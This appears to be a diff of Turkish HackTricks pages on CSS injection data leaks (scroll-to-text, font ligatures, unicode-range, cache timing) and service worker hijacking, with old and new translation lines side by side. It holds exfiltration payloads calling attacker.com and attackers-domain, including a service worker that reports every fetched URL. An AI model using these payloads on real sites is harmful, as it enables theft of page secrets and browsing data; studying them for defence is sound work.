**`:target`** psödo-sınıfı, [CSS Seçicileri Seviye 4 spesifikasyonu](https://drafts.csswg.org/selectors-4/#the-target-pseudo) gereğince bir **URL parçası** tarafından hedeflenen bir elementi seçmek için kullanılır. `::target-text`'in, metin parça tarafından açıkça hedeflenmediği sürece hiçbir elementi eşleştirmediğini anlamak önemlidir. **`:target`** psödo-sınıfı, [CSS Seçicileri Seviye 4 spesifikasyonu](https://drafts.csswg.org/selectors-4/#the-target-pseudo) gereğince bir **URL parçası** tarafından hedeflenen bir elementi seçmek için kullanılır. `::target-text`'in, metin ıkça parça tarafından hedeflenmedikçe hiçbir elementi eşleşmeyeceğini anlamak önemlidir.
Saldırganların **Kaydırma ile Metin** parçası özelliğini kullanarak belirli bir metnin bir web sayfasında varlığını doğrulamak için HTML enjeksiyonu yoluyla kendi sunucularından bir kaynak yüklemeleri, bir güvenlik endişesi doğurur. Yöntem, şöyle bir CSS kuralı enjekte etmeyi içerir: Saldırganların **Kaydırma ile Metin** parçası özelliğini kullanarak belirli bir metnin bir web sayfasında varlığını doğrulamak için HTML enjeksiyonu yoluyla kendi sunucularından bir kaynak yüklemelerine olanak tanıyan bir güvenlik endişesi ortaya çıkmaktadır. Yöntem, şu şekilde bir CSS kuralı enjekte etmeyi içerir:
```css ```css
:target::before { content : url(target.png) } :target::before { content : url(target.png) }
``` ```
@ -178,11 +171,11 @@ Bu tür senaryolarda, sayfada "Administrator" metni varsa, `target.png` kaynağ
``` ```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
``` ```
Burada, saldırı CSS kodunu iletmek için HTML enjeksiyonunu manipüle ediyor ve "Administrator" metnini hedef alıyor (`#:~:text=Administrator`). Metin bulunursa, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını sinyal eder. Burada, saldırı CSS kodunu iletmek için HTML enjeksiyonunu manipüle ediyor ve "Administrator" metnini Scroll-to-text fragment (`#:~:text=Administrator`) aracılığıyla hedef alıyor. Metin bulunursa, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını sinyal eder.
Azaltma için aşağıdaki noktalar dikkate alınmalıdır: Hafifletme için aşağıdaki noktalar dikkate alınmalıdır:
1. **Sınırlı STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da rastgele sırların veya token'ların sızdırılma yeteneğini sınırlamaktadır. 1. **Sınırlı STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu nedenle rastgele sırların veya token'ların sızdırılma yeteneğini sınırlamaktadır.
2. **Üst Düzey Tarayıcı Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez, bu da herhangi bir istismar girişimini kullanıcıya daha belirgin hale getirir. 2. **Üst Düzey Tarayıcı Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez, bu da herhangi bir istismar girişimini kullanıcıya daha belirgin hale getirir.
3. **Kullanıcı Etkileşimi Gerekliliği**: STTF'nin çalışması için bir kullanıcı etkileşimi gereklidir, bu da istismarların yalnızca kullanıcı tarafından başlatılan gezintilerle mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilme riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomatikleştirilmesini kolaylaştırabilecek belirli koşulları ve geçiş yollarını (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtmektedir. 3. **Kullanıcı Etkileşimi Gerekliliği**: STTF'nin çalışması için bir kullanıcı etkileşimi gereklidir, bu da istismarların yalnızca kullanıcı tarafından başlatılan gezintilerle mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilme riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomatikleştirilmesini kolaylaştırabilecek belirli koşulları ve geçiş yollarını (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtmektedir.
@ -194,7 +187,7 @@ Bu teknikle bir CTF için bir [**istismar kontrol edebilirsiniz**](https://gist.
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Belirli unicode değerleri için dış fontlar belirtebilirsiniz** ve bu fontlar yalnızca **bu unicode değerleri sayfada mevcutsa toplanacaktır**. Örneğin: **Sayfada mevcut olan unicode değerleri** için yalnızca **toplanacak olan belirli unicode değerleri için dış fontlar belirtebilirsiniz**. Örneğin:
```html ```html
<style> <style>
@font-face{ @font-face{
@ -233,8 +226,8 @@ Açıklanan teknik, font ligatürlerini kullanarak bir düğümden metin çıkar
- Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür. - Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
2. **Genişlik Değişikliklerinin Tespiti**: 2. **Genişlik Değişikliklerinin Tespiti**:
- Metnin sarılmamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırıcı stilini özelleştirir. - Metnin sarılmamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırıcı stilini özelleştirmek için.
- Farklı bir şekilde stillendirilmiş yatay bir kaydırıcının görünümü, metinde belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin mevcut olduğuna dair bir gösterge (oracle) olarak işlev görür. - Farklı bir şekilde stillendirilmiş yatay bir kaydırıcının görünümü, metinde belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin mevcut olduğunun bir göstergesi (oracle) olarak işlev görür.
- İlgili CSS: - İlgili CSS:
```css ```css
body { white-space: nowrap }; body { white-space: nowrap };
@ -244,20 +237,20 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
3. **Sömürü Süreci**: 3. **Sömürü Süreci**:
- **Adım 1**: Genişliği büyük olan karakter çiftleri için fontlar oluşturulur. - **Adım 1**: Genişliği büyük olan karakter çiftleri için fontlar oluşturulur.
- **Adım 2**: Büyük genişlik glifinin (bir karakter çiftinin ligatürü) render edildiğini tespit etmek için kaydırıcı tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir. - **Adım 2**: Büyük genişlik glifinin (bir karakter çiftinin ligatürü) render edildiğini tespit etmek için kaydırıcı tabanlı bir hile kullanılır, bu da karakter dizisinin mevcut olduğunu gösterir.
- **Adım 3**: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya sonraki karakter ekleyen üç karakter dizilerini temsil eden yeni glifler üretilir. - **Adım 3**: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya sonraki karakter ekleyen üç karakter dizilerini temsil eden yeni glifler üretilir.
- **Adım 4**: Üç karakter ligatürünün tespiti gerçekleştirilir. - **Adım 4**: Üç karakter ligatürünün tespiti gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanır, metnin tamamı yavaş yavaş açığa çıkar. - **Adım 5**: Süreç tekrarlanır, metnin tamamı yavaş yavaş açığa çıkar.
4. **Optimizasyon**: 4. **Optimizasyon**:
- Mevcut `<meta refresh=...` ile başlatma yöntemi optimal değildir. - `<meta refresh=...` kullanarak mevcut başlatma yöntemi optimal değildir.
- Daha verimli bir yaklaşım, sömürünün performansını artıran CSS `@import` hilesini içerebilir. - Daha verimli bir yaklaşım, sömürünün performansını artıran CSS `@import` hilesini içerebilir.
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) içinde yayımlandı. Bir metin düğümünde kullanılan karakter seti, **tarayıcıda yüklü olan varsayılan fontlar** kullanılarak sızdırılabilir: dışarıdan -veya özel- fontlara ihtiyaç yoktur. Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) içinde yayımlandı. Bir metin düğümünde kullanılan karakter seti, tarayıcıda yüklü olan **varsayılan fontlar** kullanılarak sızdırılabilir: dışarıdan -veya özel- fontlara ihtiyaç yoktur.
Kavram, bir `div`'in genişliğini kademeli olarak artırmak için bir animasyon kullanmayı ve bir karakterin bir seferde 'suffix' kısmından 'prefix' kısmına geçiş yapmasını sağlamayı içerir. Bu süreç, metni iki bölüme ayırır: Kavram, bir `div`'in genişliğini kademeli olarak artırmak için bir animasyon kullanmayı ve bir karakterin bir seferde 'suffix' kısmından 'prefix' kısmına geçiş yapmasını sağlamayı içerir. Bu süreç, metni iki bölüme ayırır:
@ -278,13 +271,13 @@ B
**CADB** **CADB**
Bu geçiş sırasında, **unicode-range trick** kullanılarak her yeni karakterin prefix'e katılması tespit edilir. Bu, fontun Comic Sans'a değiştirilmesiyle gerçekleştirilir; bu font, varsayılan fonta göre belirgin şekilde daha yüksektir ve dolayısıyla dikey bir kaydırıcıyı tetikler. Bu kaydırıcının görünümü, prefix'te yeni bir karakterin varlığını dolaylı olarak ortaya çıkarır. Bu geçiş sırasında, **unicode-range trick** kullanılarak her yeni karakterin prefix'e katılması tespit edilir. Bu, fontun Comic Sans'a değiştirilmesiyle gerçekleştirilir; bu font, varsayılan fonttan belirgin şekilde daha yüksektir ve dolayısıyla dikey bir kaydırıcıyı tetikler. Bu kaydırıcının görünümü, prefix'te yeni bir karakterin varlığını dolaylı olarak ortaya çıkarır.
Bu yöntem, benzersiz karakterlerin görünmesiyle tespit edilmesini sağlasa da, hangi karakterin tekrarlandığını belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir. Bu yöntem, benzersiz karakterlerin görünmesiyle tespit edilmesini sağlasa da, hangi karakterin tekrarlandığını belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir.
{% hint style="info" %} {% hint style="info" %}
Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\ Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\
**Karakter** **bulunduğunda**, önceden yüklenmiş **Comic Sans fontu** ile **verilir**, bu da karakteri **büyütür** ve **bir kaydırıcıyı tetikler** bu da **bulunan karakteri sızdırır**. **Karakter** **bulunduğunda**, önceden yüklenmiş **Comic Sans fontu** ile **verilir**, bu da karakteri **büyütür** ve **kaydırıcıyı tetikler**; bu da **bulunan karakteri sızdırır**.
{% endhint %} {% endhint %}
Check the code extracted from the PoC: Check the code extracted from the PoC:
@ -416,13 +409,13 @@ background: blue var(--leak);
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durum, önceki duruma çok benziyor, ancak bu durumda belirli **karakterleri diğerlerinden daha büyük yapmak, bir butonun bot tarafından basılmaması veya yüklenmeyecek bir görüntü gibi bir şeyi gizlemek içindir.** Böylece eylemi (veya eylemsizliği) ölçebilir ve metin içinde belirli bir karakterin mevcut olup olmadığını bilebiliriz. Bu durum, önceki duruma çok benziyor, ancak bu durumda belirli **karakterleri diğerlerinden daha büyük yapmak, bir butonun bot tarafından basılmaması veya yüklenmeyecek bir görüntüyü gizlemek** gibi bir amaca hizmet ediyor. Böylece eylemi (veya eylemsizliği) ölçebilir ve metin içinde belirli bir karakterin mevcut olup olmadığını bilebiliriz.
### Metin düğümü sızdırma (III): cache zamanlaması ile charset'i sızdırma (harici varlık gerektirmeyen) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Metin düğümü sızdırma (III): cache zamanlaması ile charset'i sızdırma (harici varlık gerektirmeyen) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, metinde bir karakterin olup olmadığını, aynı kaynaktan sahte bir font yükleyerek sızdırmayı deneyebiliriz: Bu durumda, metinde bir karakterin olup olmadığını sızdırmaya çalışabiliriz, aynı kaynaktan sahte bir font yükleyerek:
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -432,13 +425,13 @@ unicode-range: U+0041;
``` ```
Eğer bir eşleşme varsa, **font `/static/bootstrap.min.css?q=1`'den yüklenecektir**. Başarılı bir şekilde yüklenmeyecek olsa da, **tarayıcı bunu önbelleğe almalıdır** ve önbellek olmasa bile, **304 not modified** mekanizması vardır, bu nedenle **yanıt diğer şeylerden daha hızlı olmalıdır**. Eğer bir eşleşme varsa, **font `/static/bootstrap.min.css?q=1`'den yüklenecektir**. Başarılı bir şekilde yüklenmeyecek olsa da, **tarayıcı bunu önbelleğe almalıdır** ve önbellek olmasa bile, **304 not modified** mekanizması vardır, bu nedenle **yanıt diğer şeylerden daha hızlı olmalıdır**.
Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunları belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmaması ve ikinci sorunun botun `disk-cache-size=1` bayrağını kullanması olduğunu buldum, bu gerçekten düşünceli. Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunları belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun `disk-cache-size=1` bayrağını kullanması olduğunu buldum, bu gerçekten düşünceli.
### Metin düğümü dışa aktarımı (III): yüzlerce yerel "font" yüklemesini zamanlayarak charset'i sızdırmak (harici varlık gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Metin düğümü sızdırma (III): yüzlerce yerel "font" yüklemesini zamanlayarak charset'i sızdırma (harici varlık gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Bu durumda, bir eşleşme gerçekleştiğinde **aynı kaynaktan yüzlerce sahte font yüklemek için CSS'i belirtebilirsiniz**. Bu şekilde, **ne kadar zaman aldığını ölçebilir** ve bir karakterin görünüp görünmediğini şu şekilde bulabilirsiniz: Bu durumda, bir eşleşme gerçekleştiğinde **CSS'nin aynı kökenden yüzlerce sahte font yüklemesini** belirtebilirsiniz. Bu şekilde, **geçen süreyi ölçebilir** ve bir karakterin görünüp görünmediğini şu şekilde bulabilirsiniz:
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -455,7 +448,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30) time.sleep(30)
``` ```
Yani, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, bir font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecektir, bu da ağda sürekli bir aktivite olmasına neden olacaktır. Sonuç olarak, durdurma koşulunu tatmin etmek ve yanıt almak daha uzun sürecektir. Bu nedenle, yanıt süresi bir font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir. So, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, eğer bir font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecektir, bu da ağda sürekli bir aktivite olmasına neden olacaktır. Sonuç olarak, durdurma koşulunu tatmin etmek ve yanıt almak daha uzun sürecektir. Bu nedenle, yanıt süresi bir font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
## References ## References
@ -464,12 +457,6 @@ Yani, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yakl
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) * [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) * [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -17,22 +17,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
Bir **service worker**, tarayıcınız tarafından arka planda, herhangi bir web sayfasından ayrı olarak çalışan bir betiktir. Web sayfası veya kullanıcı etkileşimi gerektirmeyen özellikleri etkinleştirerek **çevrimdışı ve arka plan işleme** yeteneklerini artırır. Service worker'lar hakkında ayrıntılı bilgi [burada](https://developers.google.com/web/fundamentals/primers/service-workers) bulunabilir. Savunmasız bir web alanında service worker'ları kötüye kullanarak, saldırganlar kurbanın o alan içindeki tüm sayfalarla etkileşimlerini kontrol edebilirler. Bir **service worker**, tarayıcınız tarafından arka planda, herhangi bir web sayfasından ayrı olarak çalışan bir betiktir. Web sayfası veya kullanıcı etkileşimi gerektirmeyen özellikleri etkinleştirerek **çevrimdışı ve arka plan işleme** yeteneklerini artırır. Service worker'lar hakkında ayrıntılı bilgi [burada](https://developers.google.com/web/fundamentals/primers/service-workers) bulunabilir. Kırılgan bir web alanında service worker'ları kötüye kullanarak, saldırganlar kurbanın o alan içindeki tüm sayfalarla etkileşimlerini kontrol edebilir.
### Mevcut Service Worker'ları Kontrol Etme ### Mevcut Service Worker'ları Kontrol Etme
Mevcut service worker'lar, **Geliştirici Araçları**'ndaki **Uygulama** sekmesinin **Service Workers** bölümünde kontrol edilebilir. Diğer bir yöntem ise daha ayrıntılı bir görünüm için [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) adresini ziyaret etmektir. Mevcut service worker'lar, **Geliştirici Araçları**'ndaki **Uygulama** sekmesinde **Service Workers** bölümünde kontrol edilebilir. Diğer bir yöntem ise daha ayrıntılı bir görünüm için [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) adresini ziyaret etmektir.
### Push Bildirimleri ### Push Bildirimleri
@ -42,17 +33,17 @@ Mevcut service worker'lar, **Geliştirici Araçları**'ndaki **Uygulama** sekmes
Bu açığı kötüye kullanmak için şunları bulmanız gerekir: Bu açığı kötüye kullanmak için şunları bulmanız gerekir:
* Sunucuya **keyfi JS** dosyaları **yüklemek için** bir yol ve yüklenen JS dosyasının **service worker'ını yüklemek için bir XSS** * Sunucuya **keyfi JS** dosyaları **yüklemenin** bir yolunu ve yüklenen JS dosyasının **service worker'ını yüklemek için bir XSS**
* **Çıktıyı (keyfi JS kodu ile)** **manipüle edebileceğiniz** bir **savunmasız JSONP isteği** ve **kötü niyetli bir service worker'ı yükleyecek bir yük ile JSONP'yi yüklemek için bir XSS**. * Çıktıyı **manipüle edebileceğiniz** bir **kırılgan JSONP isteği** (keyfi JS kodu ile) ve **kötü niyetli bir service worker'ı yükleyecek bir yük ile JSONP'yi yüklemek için bir XSS**.
Aşağıdaki örnekte, `fetch` olayını dinleyecek ve **her alınan URL'yi saldırganın sunucusuna gönderecek** bir **yeni service worker kaydetmek için** bir kod sunacağım (bu, **sunucuya** **yüklemeniz** veya bir **savunmasız JSONP** yanıtı aracılığıyla yüklemeniz gereken koddur): Aşağıdaki örnekte, `fetch` olayını dinleyecek ve **her alınan URL'yi saldırganın sunucusuna gönderecek** bir **yeni service worker kaydetmek için** bir kod sunacağım (bu, **sunucuya** **yüklemeniz** veya bir **kırılgan JSONP** yanıtı aracılığıyla yüklemeniz gereken koddur):
```javascript ```javascript
self.addEventListener('fetch', function(e) { self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) { e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url) fetch('https://attacker.com/fetch_url/' + e.request.url)
}); });
``` ```
Ve bu, **işçiyi kaydedecek** olan koddur (bir **XSS** istismar ederek çalıştırabilmeniz gereken kod). Bu durumda, **kayıt** işleminin başarılı olup olmadığını **bildiren** bir **GET** isteği **saldırganların** sunucusuna gönderilecektir: Ve bu, **işçiyi kaydedecek** koddur (bu kodu bir **XSS** istismar ederek çalıştırabilmelisiniz). Bu durumda, **hücum edenlerin** sunucusuna **kaydı** başarılı olup olmadığını **bildiren** bir **GET** isteği gönderilecektir:
```javascript ```javascript
<script> <script>
window.addEventListener('load', function() { window.addEventListener('load', function() {
@ -76,7 +67,7 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
``` ```
Bir **C2**, bu güvenlik açıklarını istismar etmek için **Service Workers**'a adanmış [**Shadow Workers**](https://shadow-workers.github.io) bulunmaktadır ve bu, bu güvenlik açıklarını istismar etmek için çok faydalı olacaktır. Bir **C2**, bu güvenlik açıklarını istismar etmek için **Service Workers**'a adanmış [**Shadow Workers**](https://shadow-workers.github.io) bulunmaktadır ve bu, bu güvenlik açıklarını istismar etmek için çok faydalı olacaktır.
**24 saatlik önbellek direktifi**, kötü niyetli veya tehlikeye girmiş bir **service worker (SW)**'ın ömrünü, çevrimiçi istemci durumu varsayılarak, en fazla 24 saat ile sınırlar. Güvenliği en aza indirmek için, site operatörleri SW betiğinin Yaşam Süresi'ni (TTL) düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları önerilir. **24 saatlik önbellek direktifi**, kötü niyetli veya tehlikeye girmiş bir **service worker (SW)**'ın ömrünü, çevrimiçi istemci durumu varsayılarak, bir XSS güvenlik açığı düzeltmesinden sonra en fazla 24 saat ile sınırlar. Güvenliği en aza indirmek için, site operatörleri SW betiğinin Yaşam Süresi'ni (TTL) düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları önerilir.
## DOM Clobbering ile bir SW'de `importScripts`'i İstismar Etme ## DOM Clobbering ile bir SW'de `importScripts`'i İstismar Etme
@ -108,7 +99,7 @@ DOM Clobbering'in ne olduğu hakkında daha fazla bilgi için kontrol edin:
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
Eğer SW'nin **`importScripts`** çağrısı yaptığı URL/domain **bir HTML öğesi içindeyse**, bu **DOM Clobbering aracılığıyla değiştirilmesi mümkündür** ve SW'yi **kendi domaininizden bir script yükleyecek şekilde ayarlayabilirsiniz**. Eğer SW'nin **`importScripts`** çağrısı yaptığı URL/domain **bir HTML öğesinin içindeyse**, bu **DOM Clobbering aracılığıyla değiştirilmesi mümkündür** ve SW'nin **kendi domaininizden bir script yüklemesini sağlar**.
Bunun bir örneği için referans bağlantısına bakın. Bunun bir örneği için referans bağlantısına bakın.
@ -116,12 +107,6 @@ Bunun bir örneği için referans bağlantısına bakın.
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -9,59 +9,45 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
